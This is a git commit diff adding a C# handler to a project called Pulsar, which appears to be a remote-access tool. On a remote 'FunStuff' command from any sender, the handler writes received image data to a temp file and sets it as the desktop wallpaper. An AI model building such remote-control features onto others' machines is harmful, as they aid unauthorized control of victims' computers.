initial commit

2026-08-27 10:57:58 -06:00
commit 773d05f8f1
1038 changed files with 109261 additions and 0 deletions
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+using Pulsar.Common.Messages;
+using Pulsar.Common.Networking;
+using Pulsar.Common.Messages.FunStuff;
+using System;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Runtime.InteropServices;
+using Pulsar.Common.Messages.Other;
+
+namespace Pulsar.Client.Messages
+{
+public class WallpaperHandler : IMessageProcessor
+    {
+        public bool CanExecute(IMessage message) => message is DoChangeWallpaper;
+
+        public bool CanExecuteFrom(ISender sender) => true;
+
+        public void Execute(ISender sender, IMessage message)
+        {
+            if (message is DoChangeWallpaper changeWallpaperMessage)
+            {
+                SetWallpaper(changeWallpaperMessage.ImageData, changeWallpaperMessage.ImageFormat);
+            }
+        }
+
+        private void SetWallpaper(byte[] imageData, string imageFormat)
+        {
+            string tempPath = Path.Combine(Path.GetTempPath(), $"wallpaper.{imageFormat}");
+            File.WriteAllBytes(tempPath, imageData);
+
+            SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, tempPath, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
+        }
+
+        [DllImport("user32.dll", CharSet = CharSet.Auto)]
+        private static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
+
+        private const int SPI_SETDESKWALLPAPER = 20;
+        private const int SPIF_UPDATEINIFILE = 0x01;
+        private const int SPIF_SENDCHANGE = 0x02;
+    }
+}